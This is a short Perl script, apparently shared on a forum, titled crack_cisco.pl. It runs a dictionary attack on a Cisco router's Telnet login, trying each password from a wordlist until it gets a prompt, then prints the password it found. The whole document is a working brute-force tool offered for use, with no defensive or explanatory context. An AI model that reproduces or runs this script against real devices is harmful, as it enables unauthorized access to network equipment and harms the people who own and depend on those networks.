crack_cisco.pl

Код:
 #!/usr/bin/perl -w

use Net::Telnet;
use Socket;

	$DEBUG = 1;
	$TokenPassword = "Password: ";
	$Password = "cisco";

	$Remote = shift || die "usage: ./crack_cisco.pl [ip router] [dictionary]";
	$Dictionary = shift || die "usage: ./crack_cisco.pl [ip router] [dictionary]";

	open( DICTIONARY, "< $Dictionary" ) || die "Cannot open dictionary file";

	while( 1 ) {

    $t = new Net::Telnet;
    $t->errmode( "return" );
    $connect = 1;
    while( $t->errmsg ne "" || $connect ) {
    	$connect = 0;
    	$t->open( $Remote );
    }
	
    while( $t->errmsg eq "" ) {
    	( $_, $match ) = $t->waitfor( "/$TokenPassword|>/" );
    	if( $t->errmsg eq "" ) { 
	
        if( $match =~ />/ ) { print "Password = $Password\n"; exit 0; }
	
        if( eof DICTIONARY ) { exit 1; }
        $Password = <DICTIONARY>; 
        if( $Password ne "" ) { 
        	chop( $Password );
        	if( $DEBUG ) { print "Probando: $Password\n"; }
        	$t->print( $Password );
        }
    	}
    }
	
    $t->close;
	}

	close DICTIONARY;

exit 1;